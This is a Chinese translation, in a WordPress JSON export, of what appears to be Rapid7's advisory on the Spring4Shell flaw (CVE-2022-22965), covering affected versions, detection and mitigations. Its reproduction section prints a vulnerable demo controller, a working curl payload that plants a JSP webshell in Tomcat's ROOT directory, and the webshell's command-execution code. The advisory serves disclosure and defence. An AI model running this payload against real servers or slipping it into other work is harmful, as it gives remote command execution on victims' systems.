{"id":2346,"date":"2022-04-01T16:41:34","date_gmt":"2022-04-01T08:41:34","guid":{"rendered":"https:\/\/aif.amtbbs.org\/?p=2346"},"modified":"2022-04-01T16:41:34","modified_gmt":"2022-04-01T08:41:34","slug":"%e7%bd%91%e4%bc%a0spring%e5%87%ba%e7%8e%b0%e4%ba%86%e5%a0%aa%e6%af%94log4j%e7%9a%84%e8%b6%85%e7%ba%a7%e5%a4%a7%e6%bc%8f%e6%b4%9e%ef%bc%9f%e5%ae%98%e6%96%b9%e5%9b%9e%e5%ba%94%e6%9d%a5%e4%ba%86","status":"publish","type":"post","link":"https:\/\/aif.amtbbs.org\/index.php\/2022\/04\/01\/2346\/","title":{"rendered":"\u7f51\u4f20Spring\u51fa\u73b0\u4e86\u582a\u6bd4Log4j\u7684\u8d85\u7ea7\u5927\u6f0f\u6d1e\uff1f\u5b98\u65b9\u56de\u5e94\u6765\u4e86"},"content":{"rendered":"

\"\u56fe\u7247\"<\/p>\n

\u4f5c\u8005 | spring<\/section>\n
\u8bd1\u8005 | \u6838\u5b50\u53ef\u4e50\uff0c\u5218\u71d5<\/section>\n
\u7b56\u5212 | \u94b0\u83b9<\/section>\n
\u5148\u662f\u6838\u5f39\u7ea7\u6f0f\u6d1e Log4Shell\uff0c\u8fd9\u6b21\u53c8\u662f Spring4Shell\uff0c\u5f00\u6e90\u8f6f\u4ef6\u5e93\u4e2d\u7684\u96f6\u65e5\u6f0f\u6d1e\u603b\u662f\u7a81\u7136\u8e66\u51fa\u6765\uff0c\u6405\u52a8\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u4ece\u4e1a\u8005\u7684\u795e\u7ecf\u3002<\/section>\n

\u81ea 3 \u6708 29 \u65e5\u8d77\uff0c\u5173\u4e8e Spring \u51fa\u73b0\u5927\u6f0f\u6d1e\u7684\u6d88\u606f\u5728\u793e\u4ea4\u7f51\u7edc\u6d41\u4f20\uff0c\u6309\u4e00\u4e9b\u7f51\u7edc\u5b89\u5168\u4e13\u5bb6\u7684\u8bf4\u6cd5\uff0c\u8fd9\u6b21\u6f0f\u6d1e\u5f88\u662f\u4e25\u91cd\u3002<\/p>\n

\"\u56fe\u7247\"<\/p>\n

\u56fe\u7247\u6765\u81ea\u7a0b\u5e8f\u733fDD<\/p>\n

\u8d44\u6df1\u7f51\u7edc\u5b89\u5168\u7814\u7a76\u4e13\u5bb6\uff0c\u9ed8\u5b89\u79d1\u6280\u521b\u59cb\u4eba &CTO \u4e91\u8212\u5728\u793e\u4ea4\u5e73\u53f0\u8868\u793a\uff0c\u201c\u51fa\u4e86\u4e2a\u8d85\u7ea7\u5927\u6f0f\u6d1e\uff0c\u6211\u4eec\u5df2\u7ecf\u51c6\u5907\u53f7 EXP \u4e86\u201d\uff0c\u6709\u7f51\u53cb\u95ee\uff0c\u201c\u6709 Log4j \u90a3\u4e48\u5927\u5417\uff1f\u4e91\u8212\u56de\u590d\uff1a\u201c\u66f4\u5927\u201d….<\/p>\n

\"\u56fe\u7247\"<\/p>\n

\"\u56fe\u7247\"<\/p>\n

\u56fe\u7247\u6765\u81ea\u7a0b\u5e8f\u733fDD<\/p>\n

3 \u6708 31 \u65e5\uff0cSpring \u5b98\u65b9\u8868\u793a\uff0c\u5df2\u7ecf\u786e\u8ba4\u4e86\u8fd9\u4e00\u96f6\u65e5\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u5df2\u88ab\u767b\u8bb0\u4e3a CVE-2022-22965\u3002\u800c\u4e14\uff0cSpring \u53d1\u5e03\u4e86\u4fee\u590d\u6027\u7684 Spring Framework 5.3.18 \u4e0e 5.2.20 \u7248\u672c\u3002<\/p>\n

\u4ee5\u4e0b\u4e3a Spring \u5b98\u65b9\u5bf9\u8be5\u6f0f\u6d1e\u7684\u56de\u5e94\u6587\u7ae0\uff0c\u7ecf AI \u524d\u7ebf\u7ffb\u8bd1\u3002<\/strong><\/em><\/p>\n

\u7ed9 Rapid7 \u5ba2\u6237\u7684\u5e94\u5bf9\u63d0\u793a<\/section>\n

\u8fd9\u6b21\u4e8b\u4ef6\u53d1\u5c55\u901f\u5ea6\u5f88\u5feb\uff0c\u6211\u4eec\u4e5f\u5728\u7ee7\u7eed\u8c03\u67e5\u9a8c\u8bc1\u5173\u4e8e\u8fd9\u9879\u6f0f\u6d1e\u53ca\u5f71\u54cd\u7684\u66f4\u591a\u6d88\u606f\u3002<\/p>\n

\u622a\u81f3 2022 \u5e74 3 \u6708 31 \u65e5\uff0cSpring \u5df2\u7ecf\u786e\u8ba4\u4e86\u8fd9\u4e00\u96f6\u65e5\u6f0f\u6d1e\uff0c\u5e76\u53d1\u5e03\u4e86\u4fee\u590d\u6027\u7684 Spring Framework 5.3.18 \u4e0e 5.2.20 \u7248\u672c\u3002<\/p>\n

\u8be5\u6f0f\u6d1e\u4f1a\u5f71\u54cd\u5230\u8fd0\u884c\u5728 JDK 9+ \u4e0a\u7684 SpringMV \u4e0e Spring WebFlux \u5e94\u7528\u7a0b\u5e8f\uff0c\u800c\u4e14\u5df2\u7ecf\u88ab\u767b\u8bb0\u4e3a CVE-2022-22965\u3002<\/p>\n

\u6211\u4eec\u5c06\u4e0d\u65ad\u5173\u6ce8\u540e\u7eed\u8fdb\u5c55\uff0c\u4f46\u7b2c\u4e00\u65f6\u95f4\u4e3a\u5927\u5bb6\u5e26\u6765\u6700\u65b0\u6d88\u606f\u3002<\/p>\n

Application Security<\/section>\n

tCell \u5c06\u6839\u636e\u516c\u5f00\u53d1\u5e03\u7684\u6709\u6548\u8f7d\u8377\u5bf9\u7279\u5b9a\u7c7b\u4f3c\u7684\u5229\u7528\u5c1d\u8bd5\u8fdb\u884c\u68c0\u6d4b\uff1b\u5982\u679c\u5e94\u7528\u7a0b\u5e8f\u52a0\u8f7d\u4e86\u4efb\u4f55\u5305\u542b\u6f0f\u6d1e\u7684\u5305\uff08\u4f8b\u5982 CVE 2022-22965\uff09\uff0ctCell \u540c\u6837\u4f1a\u63d0\u9192\u5ba2\u6237\uff0c\u540c\u65f6\u7740\u529b\u6dfb\u52a0\u4e13\u95e8\u9488\u5bf9 Spring4Shell \u7684\u68c0\u6d4b\u673a\u5236\u3002<\/p>\n

InsightAppSec \u653b\u51fb\u6a21\u5757\u4e5f\u6b63\u5728\u5f00\u53d1\u5f53\u4e2d\uff0c\u9884\u8ba1\u5c06\u5728 4 \u6708 1 \u65e5\u9762\u5411\u6240\u6709 Application Security \u5ba2\u6237\u5f00\u653e\u3002\u9762\u5411 Application Security \u5ba2\u6237\u7684\u66f4\u591a\u6307\u5357\u4e0e\u8be6\u7ec6\u4fe1\u606f\u4e5f\u5c06\u9646\u7eed\u516c\u5e03\u3002<\/p>\n

\u6f0f\u6d1e\u98ce\u9669\u7ba1\u7406<\/section>\n

\u6211\u4eec\u56e2\u961f\u6b63\u5728\u4e3a InsightVM \u53ca Nexpose \u5ba2\u6237\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u4e0e\u8fdc\u7a0b\u6f0f\u6d1e\u68c0\u67e5\u3002\u6211\u4eec\u5c06\u5728\u4e0b\u4e00\u6b21\u66f4\u65b0\u4e2d\u53d1\u5e03\u66f4\u5177\u4f53\u7684 ETA\uff08\u9884\u4f30\u5230\u8fbe\u65f6\u95f4\uff09\u3002\u4f7f\u7528 Container Security \u7684 InsightVM \u5ba2\u6237\u53ef\u4ee5\u8bc4\u4f30\u53d7\u6f0f\u6d1e\u5f71\u54cd\u7684 Spring \u7248\u672c\u6240\u6784\u5efa\u7684\u5404\u5bb9\u5668\u3002\u76ee\u524d\uff0c\u6211\u4eec\u8fd8\u6ca1\u6709\u6bd4\u8f83\u597d\u7684\u65b9\u6cd5\u8bc6\u522b\u51fa\u5d4c\u5165\u6709 WAR \u6587\u4ef6\u7684\u53d7\u5f71\u54cd JAR \u6587\u4ef6\u3002<\/p>\n

InsightIDR \u53ca\u6258\u7ba1\u68c0\u6d4b\u4e0e\u54cd\u5e94<\/section>\n

\u867d\u7136 InsightIDR \u65e0\u6cd5\u76f4\u63a5\u68c0\u6d4b\u6b64\u9879\u6f0f\u6d1e\uff0c\u4f46\u6211\u4eec\u63d0\u4f9b\u57fa\u4e8e\u884c\u4e3a\u7684\u68c0\u6d4b\u673a\u5236\u4ee5\u63d0\u793a\u5e38\u89c1\u7684\u540e\u7eed\u653b\u51fb\u6d3b\u52a8\u3002<\/p>\n

\u6f0f\u6d1e\u6982\u8ff0<\/section>\n

\u6211\u4eec\u6b63\u5728\u6301\u7eed\u8c03\u67e5\u548c\u9a8c\u8bc1\u5173\u4e8e\u6b64\u9879\u6f0f\u6d1e\u53ca\u5176\u5f71\u54cd\u7684\u66f4\u591a\u6d88\u606f\u3002\u6b64\u6b21\u4e8b\u4ef6\u53d1\u5c55\u8fc5\u901f\uff0c\u6211\u4eec\u4e5f\u5728\u7814\u7a76\u5982\u4f55\u4e3a\u6f0f\u6d1e\u7ba1\u7406\u3001\u5e94\u7528\u7a0b\u5e8f\u5b89\u5168\u89e3\u51b3\u65b9\u6848\u4ee5\u53ca\u9884\u9632\u63a7\u5236\u9009\u9879\u5f00\u53d1\u8bc4\u4f30\u529f\u80fd\u3002\u5728\u4fe1\u606f\u5145\u8db3\u540e\uff0c\u6211\u4eec\u5c06\u8fdb\u4e00\u6b65\u8bc4\u4f30\u63d0\u4f9b\u6f0f\u6d1e\u68c0\u67e5\u3001\u653b\u51fb\u6a21\u5757\u3001\u68c0\u6d4b\u4e0e Metasploit \u6a21\u5757\u7684\u53ef\u884c\u6027\u3002<\/p>\n

\u867d\u7136 Rapid7 \u65e0\u6cd5\u76f4\u63a5\u68c0\u6d4b\u6b64\u9879\u6f0f\u6d1e\uff0c\u4f46\u6211\u4eec\u63d0\u4f9b\u57fa\u4e8e\u884c\u4e3a\u7684\u68c0\u6d4b\u673a\u5236\u4ee5\u63d0\u793a\u5e38\u89c1\u7684\u540e\u7eed\u653b\u51fb\u6d3b\u52a8\u3002tCell \u4e5f\u5c06\u6839\u636e\u516c\u5f00\u53d1\u5e03\u7684\u6709\u6548\u8f7d\u8377\u68c0\u6d4b\u7279\u5b9a\u7c7b\u578b\u7684\u5229\u7528\u884c\u4e3a\u3002<\/p>\n

\u622a\u81f3 2022 \u5e74 3 \u6708 31 \u65e5\uff0cSpring \u5df2\u7ecf\u786e\u8ba4\u4e86\u8fd9\u4e00\u96f6\u65e5\u6f0f\u6d1e\uff0c\u5e76\u53d1\u5e03\u4e86\u4fee\u590d\u6027\u7684 Spring Framework 5.3.18 \u4e0e 5.2.20 \u7248\u672c\u3002\u8be5\u6f0f\u6d1e\u4f1a\u5f71\u54cd\u5230\u8fd0\u884c\u5728 JDK 9+ \u4e0a\u7684 SpringMV \u4e0e Spring WebFlux \u5e94\u7528\u7a0b\u5e8f\uff0c\u800c\u4e14\u5df2\u7ecf\u88ab\u767b\u8bb0\u4e3a CVE-2022-22965\u3002<\/p>\n

2022 \u5e74 3 \u6708 30 \u65e5\uff0c\u4e00\u4f4d\u4ee5\u4e2d\u6587\u4e3a\u6bcd\u8bed\u7684\u7814\u7a76\u4eba\u5458\u5728 GitHub \u4e0a\u63d0\u4ea4\u4e86\u4e00\u4efd\u6982\u5ff5\u9a8c\u8bc1\u4ee3\u7801\uff0c\u5173\u4e8e Spring \u6846\u67b6\u5b58\u5728\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u7684\u6d88\u606f\u4e8e\u662f\u75af\u4f20\u3002\u5176\u4e2d\u5229\u7528\u7684\uff0c\u6b63\u662f Spring \u6846\u67b6\u5185 Spring Core \u6a21\u5757\u5f53\u4e2d\u7684\u4e00\u4e2a\u96f6\u65e5\u6f0f\u6d1e\u3002<\/strong><\/p>\n

Spring \u9879\u76ee\u7531 VMware \u5b50\u516c\u53f8 Spring.io \u8d1f\u8d23\u7ef4\u62a4\uff0c\u73b0\u5df2\u5f97\u5230\u4f17\u591a Java \u4f01\u4e1a\u8f6f\u4ef6\u6846\u67b6\u7684\u4f7f\u7528\u3002\u63d0\u4ea4\u7684\u6f0f\u6d1e\u6982\u5ff5\u9a8c\u8bc1\u4f3c\u4e4e\u5141\u8bb8\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u653b\u51fb\u8005\u5728\u76ee\u6807\u7cfb\u7edf\u4e0a\u6267\u884c\u4ee3\u7801\uff0c\u4f46\u8fd9\u9879\u62ab\u9732\u5f88\u5feb\u5c31\u88ab\u79fb\u9664\u3002<\/p>\n

\"\u56fe\u7247\"<\/p>\n

\u5f15\u53d1\u6df7\u4e71\u7684\u4e3b\u8981\u6709\u4ee5\u4e0b\u51e0\u4e2a\u539f\u56e0\uff1a<\/p>\n

\u9996\u5148\uff0c\u6b64\u6f0f\u6d1e\uff08\u53ca\u6982\u5ff5\u9a8c\u8bc1\uff09\u65e0\u6cd5\u5728\u5b89\u88c5 Spring \u6846\u67b6\u540e\u76f4\u63a5\u4f7f\u7528\u3002\u5e94\u7528\u7a0b\u5e8f\u5fc5\u987b\u4f7f\u7528\u7279\u5b9a\u51fd\u6570\uff0c\u8fd9\u4e00\u70b9\u6211\u4eec\u7a0d\u540e\u4f1a\u505a\u89e3\u91ca\u3002<\/p>\n

\u5176\u6b21\uff0c2022 \u5e74 3 \u6708 29 \u65e5\uff0cSpring Cloud \u4e5f\u66fe\u66dd\u51fa\u53e6\u5916\u4e00\u4e2a\u5b8c\u5168\u4e0d\u540c\u7684\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u81f4\u4f7f\u90e8\u5206\u793e\u533a\u6210\u5458\u5c06\u8fd9\u4e24\u4e2a\u95ee\u9898\u6df7\u4e3a\u4e00\u8c08\u3002<\/p>\n

Rapid7 \u7684\u7814\u7a76\u56e2\u961f\u5df2\u7ecf\u786e\u8ba4\u6b64\u96f6\u65e5\u6f0f\u6d1e\u771f\u5b9e\u5b58\u5728\uff0c\u53ef\u4ee5\u5b9e\u73b0\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002\u6f0f\u6d1e\u7684\u6982\u5ff5\u9a8c\u8bc1\u540c\u6837\u5b58\u5728\uff0c\u4f46\u76ee\u524d\u8fd8\u4e0d\u6e05\u695a\u6709\u54ea\u4e9b\u5e94\u7528\u7a0b\u5e8f\u5b9e\u9645\u4f7f\u7528\u5230\u4e86\u4e4b\u524d\u63d0\u5230\u7684\u201c\u7279\u5b9a\u51fd\u6570\u201d\u3002\u622a\u81f3 3 \u6708 31 \u65e5\uff0cSpring \u4e5f\u5df2\u786e\u8ba4\u6f0f\u6d1e\u5b58\u5728\uff0c\u53d1\u5e03\u4e86\u4fee\u590d\u6027\u7684 Spring Framework 5.3.18 \u4e0e 5.2.20 \u7248\u672c\uff0c\u540c\u65f6\u5f3a\u8c03\u8be5\u6f0f\u6d1e\u4f1a\u5f71\u54cd\u5230\u8fd0\u884c\u5728 JDK 9+ \u4e0a\u7684 SpringMV \u4e0e Spring WebFlux \u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n

\u5df2\u77e5\u98ce\u9669<\/section>\n

\u4ee5\u4e0b\u662f\u76ee\u524d\u5df2\u77e5\u7684\u98ce\u9669\u6620\u5c04\u6761\u4ef6\uff1a<\/p>\n

\u4efb\u4f55\u4f7f\u7528 5.2.20\u30015.3.18 \u53ca JDK 9 \u6216\u66f4\u9ad8\u7248\u672c\u4ee5\u4e0b Spring Framework \u7248\u672c\u7684\u7ec4\u4ef6\uff0c\u5747\u88ab\u89c6\u4e3a\u53ef\u80fd\u53d7\u6f0f\u6d1e\u5f71\u54cd\uff1b<\/p>\n

\u4efb\u4f55\u6ee1\u8db3\u4e0a\u8ff0\u6761\u4ef6\u4e14\u4f7f\u7528 @RequestMapping \u6ce8\u91ca\u4e0e Plain Old Java Object (POJO) \u53c2\u6570\u7684\u7ec4\u4ef6\uff0c\u5747\u88ab\u89c6\u4e3a\u53d7\u6f0f\u6d1e\u5f71\u54cd\u4e14\u6613\u53d7\u5229\u7528\uff1b<\/p>\n

\u4efb\u4f55\u6ee1\u8db3\u4e0a\u8ff0\u6761\u4ef6\u4e14\u8fd0\u884c\u6709 Tomcat \u7684\u7ec4\u4ef6\uff0c\u5747\u88ab\u89c6\u4e3a\u6781\u53ef\u80fd\u5df2\u906d\u5229\u7528\uff08\u8fd9\u662f\u56e0\u4e3a\u73b0\u5b58\u7684\u6076\u610f\u5229\u7528\u4ee3\u7801\u5c31\u662f\u9488\u5bf9\u57fa\u4e8e Tomcat \u7684\u5e94\u7528\u7a0b\u5e8f\uff09\u3002<\/p>\n

\u91cd\u73b0\u6f0f\u6d1e<\/section>\n

\u6b64\u6f0f\u6d1e\u4f3c\u4e4e\u4f1a\u5f71\u54cd\u5230\u4f7f\u7528 @RequestMapping \u6ce8\u91ca\u53ca POJO (Plain Old Java Object) \u53c2\u6570\u7684\u51fd\u6570\u3002\u4e0b\u9762\u6765\u770b\u6211\u4eec\u7684 Springframework MVC \u5165\u4fb5\u6f14\u793a\uff1a<\/p>\n

package net.javaguides.springmvc.helloworld.controller;\r\n\r\nimport org.springframework.stereotype.Controller;\r\nimport org.springframework.web.bind.annotation.InitBinder;\r\nimport org.springframework.web.bind.annotation.RequestMapping;\r\n\r\nimport net.javaguides.springmvc.helloworld.model.HelloWorld;\r\n\r\n\/**\r\n* @author Ramesh Fadatare\r\n*\/\r\n@Controller\r\npublic class HelloWorldController {\r\n\r\n@RequestMapping(\"\/rapid7\")\r\npublic void vulnerable(HelloWorld model) {\r\n}\r\n}\r\n<\/code><\/pre>\n
\u8fd9\u91cc\u6211\u4eec\u6709\u4e00\u4e2a\u63a7\u5236\u5668 (HelloWorldController)\uff0c\u5b83\u5728\u88ab\u52a0\u8f7d\u81f3 Tomcat \u4e2d\u540e\u5c06\u5904\u7406\u6307\u5411 http:\/\/name\/appname\/rapid7 \u7684 HTTP \u8bf7\u6c42\u3002\u5904\u7406\u8bf7\u6c42\u7684\u51fd\u6570\u5373\u524d\u6587\u63d0\u5230\u7684\u6613\u53d7\u653b\u51fb\u51fd\u6570\uff0c\u5176\u4e2d\u8fd8\u5305\u542b\u4e00\u4e2a POJO \u53c2\u6570 HelloWorld\u3002\u65b9\u4fbf\u8d77\u89c1\uff0c\u8fd9\u91cc\u6211\u4eec\u53bb\u5e74\u4e86 HelloWorld\uff1b\u771f\u5b9e\u60c5\u5883\u4e0b\u7684 POJO \u53ef\u80fd\u975e\u5e38\u590d\u6742\uff1a<\/p>\n
package net.javaguides.springmvc.helloworld.model;\r\n\r\npublic class HelloWorld {\r\nprivate String message;\r\n}\r\n<\/code><\/pre>\n
\u6574\u4e2a\u5229\u7528\u8fc7\u7a0b\u5982\u4e0a\u6240\u793a\uff0c\u800c\u4e14\u81f3\u5c11\u5f71\u54cd\u5230 4.3.0 \u5230 5.3.15 \u7684\u5404\u4e2a Spring Framework \u7248\u672c\uff08\u6211\u4eec\u6ca1\u6709\u5728\u4f4e\u4e8e 4.3.0 \u7684\u7248\u672c\u4e2d\u8fdb\u884c\u6df1\u5165\u6d4b\u8bd5\uff09\u3002<\/p>\n
\u5982\u679c\u6211\u4eec\u7f16\u8bd1\u4e00\u4e0b\u9879\u76ee\u518d\u6258\u7ba1\u5230 Tomcat \u4e0a\uff0c\u5c31\u80fd\u4f7f\u7528\u4ee5\u4e0b curl \u547d\u4ee4\u5b9e\u73b0\u5feb\u901f\u5229\u7528\u3002\u8bf7\u6ce8\u610f\uff0c\u4e0b\u9762\u4f7f\u7528\u7684\u662f\u4e0e\u7814\u7a76\u4eba\u5458\u5728\u6700\u521d\u6982\u5ff5\u9a8c\u8bc1\u4e2d\u5b8c\u5168\u76f8\u540c\u7684\u6709\u6548\u8f7d\u8377\uff08\u5177\u4f53\u60c5\u51b5\u7a0d\u540e\u4ecb\u7ecd\uff09\uff1a<\/p>\n
curl -v -d \"class.module.classLoader.resources.context.parent.pipeline\r\n.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%\r\n22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt\r\nime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%\r\n20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20\r\nwhile((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7\r\nD%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context\r\n.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources\r\n.context.parent.pipeline.first.directory=webapps\/ROOT&class.module.cl\r\nassLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&cl\r\nass.module.classLoader.resources.context.parent.pipeline.first.fileDat\r\neFormat=\" http:\/\/localhost:8080\/springmvc5-helloworld-exmaple-0.0.1-\r\nSNAPSHOT\/rapid7\r\n<\/code><\/pre>\n
\u8fd9\u90e8\u5206\u6709\u6548\u8f7d\u8377\u4f1a\u5728 Tomcat ROOT \u76ee\u5f55\u4e2d\u653e\u7f6e\u4e00\u4e2a\u540d\u4e3a tomcatwar.jsp\u3001\u53d7\u5230\u5bc6\u7801\u4fdd\u62a4\u7684 webshell\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n
- if(\"j\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in\r\n= -.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();\r\nint a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.\r\nprintln(new String(b)); } } -\r\n<\/code><\/pre>\n
\u4e4b\u540e\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u8c03\u7528\u76f8\u5173\u547d\u4ee4\u4e86\u3002\u4ee5\u4e0b\u793a\u4f8b\u5c31\u662f\u6267\u884c whoami \u6765\u83b7\u53d6 albinolobster\uff1a<\/p>\n
\"\u56fe\u7247\"<\/p>\n
Java \u7684\u7248\u672c\u5c06\u76f4\u63a5\u51b3\u5b9a\u6d4b\u8bd5\u80fd\u5426\u6210\u529f\u3002\u6211\u4eec\u5728 OpenJDK 1.8.0_312 \u4e0a\u6d4b\u8bd5\u5931\u8d25\uff0c\u4f46\u5728 OpenJDK 11.0.14.1 \u4e0a\u5219\u4e00\u5207\u987a\u5229\u3002<\/p>\n
\u5173\u4e8e\u6709\u6548\u8f7d\u8377<\/section>\n
\u6211\u4eec\u4f7f\u7528\u7684\u6709\u6548\u8f7d\u8377\u53ea\u9488\u5bf9 Tomcat \u670d\u52a1\u5668\u3002\u5176\u4e2d\u4f7f\u7528\u4e86\u4e00\u79cd 2014 \u5e74\u65f6\u5c31\u975e\u5e38\u6d41\u884c\u7684\u6280\u672f\uff0c\u5373\u901a\u8fc7 ClassLoader \u66f4\u6539 Tomcat \u670d\u52a1\u5668\u7684\u65e5\u5fd7\u8bb0\u5f55\u5c5e\u6027\u3002\u6709\u6548\u8f7d\u8377\u53ea\u662f\u5c06\u65e5\u5fd7\u8bb0\u5f55\u903b\u8f91\u91cd\u65b0\u5b9a\u5411\u81f3 ROOT \u76ee\u5f55\uff0c\u5e76\u653e\u7f6e\u4e86\u76f8\u5e94\u6587\u4ef6\u4e0e\u6709\u6548\u8f7d\u8377\u3002<\/p>\n
\u8fd9\u53ea\u662f\u76ee\u524d\u53d1\u73b0\u7684\u4e00\u79cd\u5229\u7528\u65b9\u5f0f\uff0c\u672a\u6765\u53ef\u80fd\u8fd8\u4f1a\u51fa\u73b0\u66f4\u591a\u3002\u76f8\u4fe1\u6211\u4eec\u4e5f\u5c06\u5f88\u5feb\u89c1\u5230\u5176\u4ed6\u6d89\u53ca\u6076\u610f\u7c7b\u52a0\u8f7d\u7684\u6709\u6548\u8f7d\u8377\u3002<\/p>\n
\u5e94\u5bf9\u6307\u5357<\/section>\n
\u622a\u81f3 2022 \u5e74 3 \u6708 1 \u65e5\uff0c\u6b64\u9879\u6f0f\u6d1e\u5df2\u88ab\u767b\u8bb0\u4e3a CVE-2022-22965\uff0cSpring Framework \u4e5f\u53d1\u5e03\u4e86 5.3.18 \u4e0e 5.2.20 \u7248\u672c\u89e3\u51b3\u8be5\u95ee\u9898\u3002<\/strong><\/p>\n
Spring Framework \u7528\u6237\u8bf7\u6839\u636e\u7f51\u4e0a\u516c\u5f00\u7684\u53d7\u5f71\u54cd\u5e94\u7528\u7a0b\u5e8f\u5165\u624b\uff0c\u5c3d\u5feb\u66f4\u65b0\u81f3\u5b89\u5168\u7248\u672c\uff08\u8be6\u89c1\u300c\u5df2\u77e5\u98ce\u9669\u300d\u90e8\u5206\uff09\u3002\u5bf9\u4e8e\u7ec4\u7ec7\u7528\u6237\uff0c\u5219\u5e94\u6574\u7406\u4e00\u4efd\u53d7\u5f71\u54cd\u5e94\u7528\u7a0b\u5e8f\u6e05\u5355\uff0c\u540c\u65f6\u5bf9\u6d41\u7a0b\u6267\u884c\u4e0e\u5e94\u7528\u7a0b\u5e8f\u65e5\u5fd7\u5f00\u5c55\u68c0\u67e5\u4ee5\u76d1\u63a7\u5f02\u5e38\u6d3b\u52a8\u3002<\/p>\n
Spring \u4e5f\u5728\u5b98\u65b9\u535a\u5ba2\u4e0a\u53d1\u5e03\u4e86\u5173\u4e8e\u6b64\u9879\u6f0f\u6d1e\u7684\u66f4\u591a\u5e94\u5bf9\u4fe1\u606f\u3002Spring DataBinder \u8bf4\u660e\u6587\u6863\u5c31\u660e\u786e\u6307\u51fa\uff1a<\/p>\n
\u2026\u2026\u5982\u672a\u8bbe\u7f6e\u5141\u8bb8\u7684\u5b57\u6bb5\u6570\u7ec4\uff0c\u5219\u53ef\u80fd\u5f15\u53d1\u6f5c\u5728\u5b89\u5168\u9690\u60a3\u3002\u4ee5 HTTP \u8868\u5355\u7684 POST \u6570\u636e\u4e3a\u4f8b\uff0c\u6076\u610f\u5ba2\u6237\u7aef\u53ef\u4ee5\u63d0\u4f9b\u8868\u5355\u4e0a\u4e0d\u5b58\u5728\u7684\u5b57\u6bb5\u6216\u5c5e\u6027\u503c\u5b9e\u73b0\u5bf9\u5e94\u7528\u7a0b\u5e8f\u7684\u5165\u4fb5\u3002\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u653b\u51fb\u8005\u53ef\u80fd\u6210\u529f\u5728\u547d\u4ee4\u5bf9\u8c61\u6216\u5176\u5d4c\u5957\u5bf9\u8c61\u4e0a\u8bbe\u7f6e\u975e\u6cd5\u6570\u636e\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u5f3a\u70c8\u5efa\u8bae\u60a8\u5728 DataBinder \u4e0a\u6307\u5b9a allwedFields \u5c5e\u6027\u3002<\/p>\n
\u56e0\u6b64\uff0c\u4e00\u79cd\u53ef\u884c\u7684\u5e94\u5bf9\u65b9\u5f0f\u5c31\u662f\u4fee\u6539\u81ea\u5b9a\u4e49 Spring \u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684\u6e90\u4ee3\u7801\uff0c\u786e\u4fdd\u8fd9\u4e9b\u5b57\u6bb5\u5f97\u5230\u5145\u5206\u9632\u62a4\u3002\u8bf7\u6ce8\u610f\uff0c\u8fd9\u79cd\u65b9\u5f0f\u4e0d\u9002\u7528\u4e8e\u4f7f\u7528\u7b2c\u4e09\u65b9\u5e94\u7528\u7a0b\u5e8f\u7684\u7ec4\u7ec7\u3002<\/p>\n
\u5982\u679c\u60a8\u7684\u7ec4\u7ec7\u5df2\u7ecf\u90e8\u7f72\u6709 Web \u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899\uff08WAF\uff09\uff0c\u5219\u5e94\u5206\u6790\u4e00\u5207\u53d7\u5230\u6b64 Spring \u6f0f\u6d1e\u5f71\u54cd\u7684\u5e94\u7528\u7a0b\u5e8f\uff0c\u636e\u6b64\u8c03\u6574 WAF \u68c0\u6d4b\u89c4\u5219\u96c6\u4e2d\u7684\u5b57\u7b26\u4e32\u4ee5\u9632\u8303\u6076\u610f\u5229\u7528\u884c\u4e3a\u3002<\/p>\n
\u5982\u679c\u7ec4\u7ec7\u65e0\u6cd5\u4fee\u590d\u6216\u4f7f\u7528\u4e0a\u8ff0\u5e94\u5bf9\u63aa\u65bd\uff0c\u4e5f\u53ef\u4ee5\u5728\u57fa\u4e8e Spring \u7684\u5e94\u7528\u7a0b\u5e8f\u7cfb\u7edf\u5185\u5bf9\u6d41\u7a0b\u6267\u884c\u8fdb\u884c\u5efa\u6a21\uff0c\u4e4b\u540e\u76d1\u63a7\u7591\u4f3c\u201c\u6076\u610f\u5229\u7528\u201d\u7684\u5f02\u5e38\u6d3b\u52a8\u3002\u53d1\u73b0\u8fd9\u7c7b\u6d3b\u52a8\u540e\u5e94\u7acb\u5373\u89e6\u53d1\u8b66\u62a5\uff0c\u5e76\u901a\u8fc7\u4e8b\u4ef6\u54cd\u5e94\u7a0b\u5e8f\u53ca\u5b89\u5168\u81ea\u52a8\u5316\u5de5\u5177\u52a0\u4ee5\u63a7\u5236\u3002\u4f46\u8fd9\u79cd\u65b9\u6cd5\u4e5f\u6709\u74ff\uff0c\u5982\u679c\u5efa\u6a21\u4e0d\u591f\u5168\u9762\uff0c\u5219\u6709\u53ef\u80fd\u51fa\u73b0\u6f0f\u62a5\u6216\u8bef\u62a5\u3002<\/p>\n
\u8bef\u89e3\u6f84\u6e05<\/section>\n
